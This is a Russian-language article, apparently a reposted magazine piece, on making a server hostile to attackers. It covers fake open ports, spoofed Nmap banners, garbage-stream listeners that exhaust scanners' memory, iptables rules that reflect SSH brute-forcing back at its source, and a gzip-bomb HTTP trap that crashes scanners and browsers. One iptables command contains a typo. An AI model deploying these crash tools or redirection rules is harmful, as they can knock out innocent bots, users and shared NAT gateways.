Статья Делаем цель максимально неудобной для атакующих

Иногда, чтобы защититься от сетевых атак, достаточно сделать жизнь атакующего до невозможного неудобной. Сегодня превратим собственную инфраструктуру в лабиринт ловушек и ложных следов, где каждый шаг нарушителя приводит к неразберихе, задержкам или сбоям в работе его же инструментов. Даже простое сканирование мы превратим в мучительный квест!
В моей Для просмотра ссылки Войди или Зарегистрируйся я показал, как, опираясь лишь на особенности сетевого трафика злоумышленников, можно узнавать весьма любопытные, порою неочевидные вещи. Но такая информация вряд ли поможет нам защититься от них.

Куда более интересный вопрос — как мы можем помешать злоумышленникам изучать наши ресурсы в интернете, сбить их с толку или — еще лучше — испортить этот процесс и даже встречно атаковать злоумышленников? И это будут не советы по защите, а, скорее, рекомендации по тому, как стать максимально неудобным для хакера.


В этой статье мы разложим с десяток граблей, на которые непременно наступит хакер, — и станем максимально неудобными для атакующего!

Замедляем сканирование портов​

Как правило, хакерские атаки начинаются на сетевом уровне. Пока у атакующего нет информации об используемых сервисах и протоколах, он не может подняться выше — на уровень приложений. И самая первая сетевая атака, с которой столкнется любая компания, — это, конечно же, сканирование портов.

Так хакер проводит активную разведку и определяет программное обеспечение, в котором ему потом предстоит искать уязвимости. И уже на этом этапе мы можем вступить в противостояние с хакером.

info​

Эта статья основана на фрагменте книги «Для просмотра ссылки Войди или Зарегистрируйся», которая сейчас готовится к публикации.
Одной из самых простых рекомендаций по затруднению сканирования портов может быть запрет отправки пакетов TCP-RST. Такую возможность можно активировать буквально в одну команду:

iptables -A OUTPUT -o eth0 -p tcp --tcp-flags RST RST -j DROP
Суть в том, что, когда порт закрыт, мы не говорим об этом хакеру, сразу отправляя ему пакет TCP-RST. Тем самым мы вынуждаем его тратить некоторое время на ожидание возможного ACK-пакета, который отправляется уже в случае открытого порта.

Давай сравним время сканирования топ-1000 TCP-портов с отправкой RST-пакетов и с запретом.

Для просмотра ссылки Войди или Зарегистрируйся
А теперь активируем правило, запрещающее пакеты TCP-RST. Вновь запустим сканирование топ-1000 портов.

Для просмотра ссылки Войди или Зарегистрируйся
Видно, что эта простая рекомендация в десятки тысяч раз замедляет классическое сканирование TCP-портов. А умножив его на количество IP-адресов нашего периметра, получаем не очень приятное для хакера значение.

Делаем все порты открытыми​

Учитывая, что количество возможных портов равно 65 535 для TCP и столько же для UDP, а типичный сетевой периметр нередко состоит из сотен IP-адресов, для хакера может оказаться достаточно накладным полное сканирование портов. В таком случае хакеры могут довольствоваться лишь самыми распространенными портами (топ-1000) или самыми перспективными для проникновения (low hanged fruits). И отсюда вытекает самая распространенная защитная практика — перевешивать службы на нестандартные порты. Но целеустремленный хакер все же не испугается полного сканирования портов и непременно найдет спрятанный сервис, на каком бы порте он ни висел.

Для просмотра ссылки Войди или Зарегистрируйся
Но куда более действенной техникой против сканирования портов является имитация всех неиспользуемых портов как открытых. Этого легко можно достигнуть с помощью файрвола, например iptables на Linux-сервере, и любого пустого листенера.

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 22 -j REDIRECT --to-ports 22
iptables -t nat -A PREROUTING -i eth0 -p tcp -m conntrack --ctstate NEW -j REDIRECT --to-ports 1234
while sleep 1; do nc -nv -lp 1234; done
После чего хакер увидит уже совсем иную, удручающую картину.

Для просмотра ссылки Войди или Зарегистрируйся
Все порты открыты. Теперь хакеру будет крайне затруднительно среди 65К открытых портов найти актуальные. Неопытные хакеры тут попадут еще в одну ловушку — часто они запускают сканирование портов с одновременной идентификацией служб, что в нашем случае еще сильнее замедлит сканирование и, скорее всего, не позволит им получить хоть какие‑то результаты.

Ложно открытые порты — относительно частая защитная мера коммерческих сетевых экранов. Но ее можно обойти, ведь за пакетом SYN-ACK с этого порта обычно ничего не приходит. Иными словами, эти порты не содержат никакой службы и хакеру видны как tcpwrapped или как порты с пустой версией.

Для просмотра ссылки Войди или Зарегистрируйся
Однако стоит признать, что потребуются колоссальные расходы трафика и времени на идентификацию всех возможных портов. Большинство хакеров обойдут этот узел стороной, и лишь самые целеустремленные и сумасшедшие продолжат атаки. Но мы тоже не сдаемся, в нашем арсенале есть еще ряд приемов…

Имитируем случайные сервисы​

Раз хакер главным образом полагается все же не на сами открытые порты, а на службы, которые он идентифицирует на этих портах, то ударим ему по самому больному — сымитируем случайные службы! И на помощь нам вновь придет база фингерпринтов от Nmap.

Мы уже писали простой TCP/UDP-листенер для наблюдения за запросами хакеров. Теперь мы напишем листенер, который, вместо того чтобы молча принимать данные, станет слать хакеру особые байты, что будут казаться его сканеру каким‑либо сервисом. А эти байты мы возьмем из того же самого файла с фингерпринтами, используемого хакером.

В этот раз нам вновь предстоит распарсить базу фингерпринтов Nmap, только теперь нас будут интересовать уже не запросы, а ответы:

defence/services.py​

#!/usr/bin/python3
import socket
import rstr #pip3 install rstr
import random

def get_random_match():
return random.choice(matches)

matches = []
with open("/usr/share/nmap/nmap-service-probes") as f:
for line in f.readlines():
line = line.strip()
if line.startswith("match "):
matchtext = line[len("match "):]
index = matchtext.index(" m")
m = matchtext[index + 2]
name = matchtext[:index]
matchtext = matchtext[len(name):].strip()
regx_start = 2
regx_end = matchtext.index(m, regx_start)
regx = matchtext[regx_start:regx_end]
try:
matches.append( rstr.xeger(regx) )
except Exception as e:
pass

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", int(port)))
s.listen(10)
while True:
c,info = s.accept()
try:
c.send(get_random_match().encode())
except:
pass
c.close()
При каждом входящем подключении наш листенер будет отправлять случайно выбранный ответ из базы фингерпринтов Nmap.

Сетевой сканер Nmap парсит ответы от служб, опираясь на базу фингерпринтов, и делает это не по четкому совпадению, а по регулярному выражению. Поэтому мы, отправляя ответ, должны превратить случайно выбранную строку с регулярным выражением, содержащую в себе диапазон допустимых значений, во что‑то конкретное — в этом нам помогает библиотека rstr.

Мы запускаем наш «ответчик» на произвольном порте и ждем некоторое время, пока он распарсит Nmap-базу.

Для просмотра ссылки Войди или Зарегистрируйся
Хакер же при попытке просканировать этот порт и определить службу увидит совершенно случайный баннер.

Для просмотра ссылки Войди или Зарегистрируйся
Выглядит вполне правдоподобно. А что хакер увидит, когда мы совместим с этим трюк из предыдущего раздела? Сделаем все порты открытыми и направим их в этот листенер:

iptables -t nat -A PRETOUTING -i eth0 -p tcp --dport 22 -j REDIRECT --to-ports 22
iptables -t nat -A PREROUTING -i eth0 -p tcp -m conntrack --ctstate NEW -j REDIRECT --to-ports 1234
Теперь, когда хакер попробует просканировать большее количество портов, он увидит что‑то вроде такого.

Для просмотра ссылки Войди или Зарегистрируйся
Полная мешанина. На месте хакера я бы растерялся на какое‑то время. Такого большого количества разнообразных служб на одном компьютере быть не может. Но как среди этого найти настоящие сервисы?

Такой защитный прием относительно известен в узких кругах, и реализуется он аналогичной утилитой portspoof. Однако есть во всем этом маленький изъян... Этот подход уж слишком случаен, и каждый раз на одном и том же порте генерируется новый сервис.

Для просмотра ссылки Войди или Зарегистрируйся
Странно, не правда ли? И смышленый хакер поймет, что если сделать два скана и сравнить результаты, то неизменившиеся баннеры — это и есть настоящие несымитированные сервисы.

Для просмотра ссылки Войди или Зарегистрируйся
Поэтому предлагаю исправить этот недочет и имитировать службы более правдоподобно. Будем отдавать баннер не случайно, а по номеру порта — внесем небольшие изменения в наш листенер.

defence/services.py​

import struct
...

def get_match_by_port(port):
return matches[port%len(matches)]

def get_original_dst(sock):
try:
sockaddr_in = sock.getsockopt(socket.SOL_IP, 80, 16)
(proto, port, a,b,c,d) = struct.unpack("!HHBBBB", sockaddr_in[:8])
dst_ip = "%d.%d.%d.%d" % (a,b,c,d)
dst_port = port
return (dst_ip, dst_port)
except:
pass

...

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", int(port)))
s.listen(10)
while True:
c,info = s.accept()
_,port = get_original_dst(c) or ("",0)
try:
c.send(get_match_by_port(port).encode())
except:
pass
c.close()
И вот теперь уже хакеру никак не удастся понять, где мы прячем настоящие сервисы.

Для просмотра ссылки Войди или Зарегистрируйся
Этим приемом мы окончательно запутаем хакера. Если же он запустит не сканер портов Nmap, а какой‑либо сканер уязвимостей, тот на каждый из сэмулированных портов станет безуспешно пробовать различные тесты уязвимостей. Там, где сымитированная служба станет разглашать уязвимый номер версии какого‑либо ПО, это создаст ложный отчет об уязвимости. В целом таким подходом мы и сильно затормозим сканер, и создадим, вероятно, большое количество false-positives выявленных уязвимостей, что в конечном счете заведет хакера в неприятный тупик.

Ломаем хакерские сканеры​

До этого момента мы лишь запутывали хакера, давая ему то ложные порты, то фейковые сервисы. То есть мы играли с хакером по его правилам — отправляли ему специально подготовленные данные, чтобы его сканер «съел» их и интерпретировал это как тот или иной результат.

А как насчет чего посерьезнее? Устроим настоящий стресс‑тест его сканеру: атакуем хакера и даже сделаем ему отказ в обслуживании (DoS)!

Сканеры портов и служб полагаются на то, что перед ними ни о чем не подозревающий безобидный узел. Но эти самые сканеры — такие же программы, как и все, они не лишены слабостей, если мы поведем себя не так, как они ожидают.

При идентификации служб сканер полагается на их стандартные ответы, что они совпадут с теми или иными фингерпринтами. Но как отреагирует сканер, если с открытого порта на него польются бесконечные наборы байтов?

Давай проведем простой эксперимент: откроем порт и направим в него бесконечный поток случайных байтов.

Для просмотра ссылки Войди или Зарегистрируйся
Если сканер портов попробует определить тип службы на таком порте, то, скорее всего, он зависнет в бесконечном или очень длительном ожидании. Но что куда важнее — это будет не просто замедление процедуры сканирования, а достаточно крупное потребление памяти и использование процессора.

Для просмотра ссылки Войди или Зарегистрируйся
Почти целых 2 Гбайт (из двух доступных в нашем примере) ушло на идентификацию службы лишь одного порта! А ведь открытых портов может быть куда больше — целых 65 535. Можно считать это даже уязвимостью утечки памяти (heap overflow).

На первый взгляд, ничего критического хакеру это не принесет. Но ОС Linux, с которой он, вероятно, работает, очень плохо переживает подобную нехватку оперативной памяти. Во‑первых, это может вызвать длительное зависание ОС, вплоть до перезагрузки, так как механизм ядра Linux (OOM Killer) может далеко не сразу завершить процесс сканера, пока тот подбирается к критической величине, и позже мы это еще увидим в деле. Во‑вторых, исчерпание одним процессом всей оперативной памяти вытесняет память всех остальных процессов на диск в файл подкачки (SWAP). Дисковый кеш, который тоже хранится в оперативной памяти, будет также вытеснен, что даст некоторые «тормоза», когда система оживет.

В случае с Nmap, а ты, скорее всего, столкнешься именно с ним, не все байты будут одинаково эффективны. Опытным путем было замечено, что одни байты Nmap «переваривает» достаточно хорошо, быстро завершая идентификацию службы, например 0x00 или некоторую часть байтов, кодирующих печатные символы. А на других зависает до полного исчерпания ресурсов — это такие байты, как 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x08, 0x0a, 0x0b, 0x0e, 0x0f, 0x10, 0x11.

Поэтому вместо отправки случайных байтов лучше отправлять что‑то более конкретное. К тому же так мы не будем исчерпывать собственный генератор псевдослучайных чисел.

Напишем простейший листенер, аналогичный листенеру из предыдущего раздела:

defence/garbage.py​

#!/usr/bin/python3
import socket
from threading import Thread
from sys import argv

port = argv[1]
proto = argv[2]

def serve(sock):
SIZE=1024
print("[+] garbage started")
data = "\x0e"*SIZE
while True:
try:
sock.send(data.encode())
except:
break
sock.close()
print("[-] garbage closed")

if proto.upper() == 'TCP':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", int(port)))
s.listen(10)
while True:
c,info = s.accept()
Thread(target=serve, args=(c,)).start()
elif proto.upper() == 'UDP':
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("0.0.0.0", int(port)))
while True:
try:
buf,client = s.recvfrom(1024)
Thread(target=serve, args=(client,)).start()
except:
pass
s.close()
И теперь в результате взаимодействия с нашим листенером сканер Nmap аварийно завершается с нехваткой памяти.

Для просмотра ссылки Войди или Зарегистрируйся
Если процессом сканирования управляет человек, то он, вероятно, заметит усилившееся жужжание кулера или подвисание машины и прервет процесс. Зато автоматизированные автономные конвейеры, которые куда чаще производят подобные сканирования, вполне могут аварийно завершиться, столкнувшись с такой ситуацией.

Однако подобные трюки потребуют от нас лить очень много трафика. Ведь чтобы заполнить хакеру гигабайты оперативной памяти, эти самые гигабайты нужно передать по сети, хотя бы частично. Опытным путем было установлено: чтобы заполнить хакеру 3 Гбайт оперативной памяти, потребуется отправить ему примерно 400 Мбайт трафика. Не всегда это может быть уместным, ведь трафик бывает платным. Поэтому мы можем пойти другим путем — не исчерпывать оперативную память, а экстремально замедлять процесс сканирования.

Давай внесем маленькие правки в наш листенер — теперь мы будем отправлять один байт примерно один раз в секунду.

defence/garbage.py​

import random
from time import sleep
...

def serve(sock):
#SIZE=1024
SIZE=1
SLOW=1
#SLOW=0
print("[+] garbage started")
data = "\x0e"*SIZE
#data = "".join(map(lambda x:random.choice("\x01\x02\x03\x04\x05\x06\x08\x0a\x0b\x0e\x0f\x10\x11"), range(SIZE)))
while True:
try:
sock.send(data.encode())
except:
break
sleep(random.random()*SLOW)
sock.close()
print("[-] garbage closed")
...
А вот и результат.

Для просмотра ссылки Войди или Зарегистрируйся
Несколько часов на идентификацию всего лишь одного сервиса, и процесс по‑прежнему не завершен. И всё, что нам потребовалось, — это отправить менее 1 Мбайт трафика!

Аналогичного эффекта можно достичь и не прибегая к помощи специального листенера, а сделав всё силами файрвола.

Перенаправляем атаки хакера на него же​

Если мы понимаем, что нас явно атакуют, и при этом видим источник атаки, то обычно принято блокировать на файрволе IP-адрес атакующего. Скорее всего, хакер это быстро заметит, ведь его цели резко перестанут ему отвечать.

Но что, если мы вместо создания на файрволе правила блокировки создадим правила перенаправления и направим вредоносный трафик вспять? Тогда мы завернем хакерскую атаку на самого хакера!

Сделать это можно всего парой‑тройкой команд:

iptables -t nat -I PREROUTING -s $hacker -p tcp --dport 22 -j DNAT --to-destination $hacker:22
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -I POSTROUTING -d $hacker -p tcp --dport 22 -j MASQUERADE
Предположим, хакер подбирает пароль на твоем SSH-сервере — одно мгновение, и он, сам того не зная, продолжает перебирать пароли уже на своем узле!

Для просмотра ссылки Войди или Зарегистрируйся
Если бы хакер мониторил попытки аутентификации к своей Kali, то он бы заметил, как на него посыпались те же самые атаки. И в случае, если атакующий подберет пароль, есть шанс, что он установит самому себе какой‑нибудь криптомайнер или прочую малварь.

В отличие от блокировки порта, такой трюк будет практически незаметен для хакера, ведь порт как был открыт, так и остался открытым. Правда, требуется, чтобы на хосте хакера был такой же атакуемый порт, чтобы было куда перенаправить его атаку.

Перенаправление атаки на самого хакера — прием достаточно забавный, но в этом есть немалый риск. В наше время многие работают за NAT, иными словами — через некоторый узел. И хакер может быть не исключением. В таком случае мы рискуем перенаправить атаку не на компьютер хакера, а на ни в чем не повинный шлюз, с которого могут работать другие пользователи. Тогда со стороны шлюза мы будем выглядеть как атакующие. Поэтому такой трюк рекомендуется применять только с особой осторожностью.

Взрываем хакеров ZIP-бомбой​

Если мы никак не помешаем хакеру идентифицировать наши сервисы, торчащие в интернете, то он рано или поздно определит типы служб и начнет искать в них уязвимости.

В наши дни более 90% поверхности атак периметра образуются веб‑технологиями. Веб‑приложение представляет для хакера достаточно перспективную мишень. Даже безопасно написанное веб‑приложение может оказаться уязвимым в случае небезопасной настройки. А порою уязвимости возникают просто при неудачном сочетании двух веб‑серверов, каждый из которых по отдельности не уязвим, но уязвим в тандеме. И так далее.

Для опытного хакера веб‑страница — это не просто ссылка, это целая иерархия компонентов:

1. Веб‑сервер (уровень сетевого порта).
2. Веб‑сайт (уровень заголовка Host).
3. Веб‑приложение (уровень URL).

И здесь на каждом уровне применимы свои способы разведки и обнаружения новых ресурсов. Применимы и свои атаки. На уровне сетевого порта хакер взаимодействует с веб‑сервером — программой, обрабатывающей HTTP-запросы. Отправляя эти самые запросы с тем или иным заголовком Host, сервер выбирает тот или иной веб‑сайт.

Начиная с HTTP/1.1, вводится понятие виртуального хостинга, благодаря которому веб‑серверы начинают поддерживать множество сайтов на одном порте. И далее, уже выбирая тот или иной путь (URL) на определенном веб‑сервере и на определенном сайте, хакер добирается до веб‑приложения.

Есть один достаточно простой и весьма неприятный для хакера трюк, который обломает ему взаимодействие с вебом на любом уровне (этот трюк был придуман одним пользователем на Habr)...

Протокол HTTP относительно простой — его простота заключается в том, что он текстовый и его запросы и ответы могут быть понятны человеку без специальных средств (до версии 2.0). При этом в протоколе HTTP для некоторой экономии трафика при доставке ответа может быть использовано сжатие. О готовности принять ответ в сжатом виде клиент сообщает специальным заголовком Accept-Encoding, а сервер — Content-Encoding. В качестве алгоритма сжатия веб‑сервер может использовать gzip или deflate (zip).

Сжатие позволяет достаточно сильно сокращать размер содержимого за счет схлопывания повторяющихся фрагментов. Но насколько сильного сжатия можно достичь, если использовать лишь одну‑единственную последовательность — например, всего один байт?

Ниже приведена таблица эффективности сжатия одного‑единственного байта в том или ином количестве.

Эффективность сжатия одного символа с разным количеством​

Тысячекратное уменьшение размера. Или тысячекратное усиление атаки?

Всего один 1 Мбайт данных, принятых по протоколу HTTP, развернется у хакера в 1 Гбайт в его оперативной памяти. 10 Мбайт, соответственно, превратятся уже в 10 Гбайт, что почти наверняка положит процесс на типовом арендованном сервере. Ну а 30 Мбайт, думаю, хватит с головой и на средний десктоп.

Сегодня открытие обычного сайта в браузере — это скачивание порядка 10 Мбайт данных, что с нынешними скоростями происходит за пару секунд. Значит, 10 Гбайт оперативной памяти мы заберем у атакующего быстрее, чем он успеет подумать.

Наша встречная атака настолько проста в реализации, что провернуть ее можно даже в терминале всего несколькими командами.

Для просмотра ссылки Войди или Зарегистрируйся
Либо мы можем слегка переделать код нашего листенера:

defence/zip_bomb.py​

#!/usr/bin/python3
import socket
import gzip
#import zlib
from sys import argv

port = argv[1]
size = int(argv[2])

bomb = gzip.compress(b"A"*size, compresslevel=9)
#bomb = zlib.compress(b"A"*size, level=9)
print("[*] powered %d -> %d bytes" % (len(bomb), size))
WWW = b'''HTTP/1.1 200
Content-Encoding: gzip
Content-Length: %d

%s
''' % (len(bomb), bomb)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", int(port)))
s.listen(10)
while True:
c,info = s.accept()
try:
print(c.recv(1024).decode(errors="ignore"))
c.send(WWW)
except Exception as e:
print(str(e))
c.close()
Большая часть паразитного веб‑трафика — это не хакеры, а простые боты — разного рода грабберы или автоматизированные сканеры. Такие боты, как правило, шлют всего один HTTP-запрос, но шлют его на тысячи серверов. Давай зарядим наш листенер ZIP-бомбой с 5 Гбайт киберпороха.

Для просмотра ссылки Войди или Зарегистрируйся
Открытие любой веб‑страницы на таком листенере вызовет в RAM взрыв ZIP-бомбы, которая заберет всю память в радиусе 5 Гбайт.

Давай посмотрим на реакцию типового примера HTTP-бота.

Для просмотра ссылки Войди или Зарегистрируйся
Цель поражена — бот обвалился всего через две секунды на этапе получения HTTP-содержимого, даже не дойдя до стадии парсинга HTML. И если бы такой скрипт был нацелен на множество серверов, то один наш сервер с «ZIP-миной» остановил бы подобный конвейер. И никакие try/catch ему бы не помогли.

Те, кому не нравится, что их сайты терроризируют боты, могут применять этот offensive защитный прием. Но с осторожностью!

Давай теперь посмотрим, как справятся с нами разнообразные хакерские разведывательные сканеры, ведь именно они наша главная цель.

Как правило, обнаружив сайт, хакеры запускают инструменты, простукивающие его рабочий каталог на наличие потенциально интересных ресурсов. Например, хакер может сделать это популярным инструментом dirsearch.

Для просмотра ссылки Войди или Зарегистрируйся
Обычно хакерские инструменты наподобие dirsearch закидывают сайт десятками тысяч запросов. Но тут на первом же запросе еще на этапе калибровки сканер dirsearch исчерпал всю память и аварийно завершился. И произошло это через каких‑то три‑четыре секунды.

Сканер‑фаззер wfuzz продержался почти столько же и тоже аварийно завершился, исчерпав всю память.

Для просмотра ссылки Войди или Зарегистрируйся
Его более новый аналог ffuf показывает такой же результат — падение через несколько секунд.

Для просмотра ссылки Войди или Зарегистрируйся
В каждом из этих случаев мы имеем отказ в обслуживании одного процесса — программы, производящей разведку. Но велика вероятность, что, если хакер попадет в наш «ZIP-капкан», он ощутит и более негативные последствия…

В Linux существует уже упоминавшаяся проблема механизма OOM Killer, при которой утечка памяти приводит к сильному замедлению системы вплоть до зависания ОС. И подвержены ей главным образом браузеры. Так что если хакер попробует открыть наш сайт в браузере, то его ОС после утечки всей памяти и вовсе намертво зависнет, до полной перезагрузки системы.

Для просмотра ссылки Войди или Зарегистрируйся
Повесив систему хакеру и, вероятно, вынудив его сделать жесткую перезагрузку, мы можем заставить его потерять какие‑то несохраненные файлы.

Нередки случаи, когда хакеры натравливают на свои цели тяжелую артиллерию — коммерческие (обычно крякнутые) сканеры, такие как, например, Acunetix.

Для просмотра ссылки Войди или Зарегистрируйся
Всего через минуту после того, как хакер натравил на нас сканер уязвимостей, вся оперативная память его ОС оказалась исчерпана, и система зависла на несколько минут. Разумеется, никаких результатов у такого сканирования не будет.

Как же можно применить это для защиты функционирующего сайта? Одним из простых решений, отлично подходящих для выделенных серверов на хостинге, может быть проксирование на ZIP-бомбу через nginx какого‑нибудь неиспользуемого каталога сайта. Но такого, который точно будут искать хакеры. Давай взглянем на популярный пентестерский словарик.

Для просмотра ссылки Войди или Зарегистрируйся
Отличным выбором могут быть каталоги .git или .svn. Они вряд ли нужны твоему веб‑приложению, а для любого хакера must-have заглянуть туда.

Добавляем в nginx-конфиге следующий каталог и перенаправляем его на ZIP-ловушку:

server {
...
location /.git {
proxy_pass Для просмотра ссылки Войди или Зарегистрируйся
}
}
Легитимные пользователи такие каталоги вряд ли станут искать, а тот, кто станет, — будет проучен!

Говоря про защиту периметра компании, отметим, что коммерческие WAF, которые хорошо умеют выявлять факты вредоносной активности на сайте, поддерживают указание произвольной страницы заглушки с сообщением о блокировке. Эта страница — отличное место для размещения такой ZIP-бомбы.

Однако стоит помнить, что неаккуратное использование этого приема может привести к отказу в обслуживании ПО «мирных» пользователей и прочих потребителей контента твоих веб‑приложений.

Заключение​

Мы научились раскладывать для хакеров достаточно много «граблей».

Продемонстрированные трюки — это, конечно же, далеко не всё, что можно придумать против них. Давай подытожим и вспомним, как мы можем усложнить жизнь хакеру:

• замедлять сканирование портов;
• затруднять сканирование портов, создавая иллюзию, что все порты открыты;
• затруднять идентификацию служб, имитируя случайную службу на каждом порте;
• замедлять идентификацию служб или исчерпывать память и даже приводить к отказу в обслуживании хакерских сканеров;
• исчерпывать память и приводить к отказу в обслуживании хакерских инструментов и сканеров, а также всей ОС хакера при взаимодействии с вебом.

Одним словом, хакеру тоже есть чего бояться! Может быть, эти приемы и не сделают тебя более защищенным, но то, что твои серверы станут максимально неудобными для хакера, — это точно!